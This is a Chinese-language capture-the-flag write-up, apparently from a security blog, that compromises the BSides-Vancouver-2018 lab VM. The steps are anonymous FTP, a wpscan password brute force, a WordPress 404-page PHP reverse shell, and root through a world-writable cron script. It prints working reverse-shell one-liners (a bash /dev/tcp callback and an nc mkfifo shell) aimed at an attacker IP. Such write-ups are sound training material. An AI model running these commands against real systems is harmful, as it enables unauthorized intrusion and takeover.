BSides-Vancouver-2018-Workshop，ftp匿名登录，wordpress渗透-泷羽Sec

【oscp】BSides-Vancouver-2018-Workshop，ftp匿名登录，wordpress渗透

难度：相对简单，有很多种方法

主机发现

端口扫描

利用ftp的默认用户进行匿名登录，查看文件

ftp 192.168.209.136
cd public
get users.txt.bk

像是一个密码字典（其实是一个用户字典，当前系统用户包含了这些用户）

目录扫描

robots.txt爬虫协议

一个wordpress站点

继续目录扫描

利用wpscan发现可能存在的用户名，并使用msf的字典

 wpscan --url http://192.168.209.136/backup_wordpress -e u -P /usr/share/wordlists/metasploit/burnett_top_1024.txt

有俩个用户分别是john和admin，以及john的密码enigma

登录进去直接修改404反弹shell的php脚本（kali自带/usr/share/webshells/php/php-reverse-shell.php）

kali开启监听

反弹成功

创建交互式终端

python -c "import pty; pty.spawn('/bin/bash')"

基本信息收集，Ubuntu 12.04.4 LTS ，3.11.0-15没有内核提权漏洞，在往期的靶机中

我们查看数据库密码（站点用到的就是mysql肯定存在mysql服务），thiscannotbeit

登录成功

查看用户表

使用hash-identifier hash识别工具，识别hash类型

md5解密

切换思路，继续信息收集，查看文件权限为777的文件

find / -perm 777 -type f 2>/dev/null

那么就可以直接反弹shell提权

echo '/bin/bash -i >& /dev/tcp/192.168.209.130/6666 0>&1' > cleanup
./cleanup

kali端是有反应的，自动退出了

换一个反弹shell命令

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.209.130 6666 >/tmp/f' > cleanup
./cleanup

往期推荐

本站小部分内容转载于互联网，如有侵权还请联系

THE END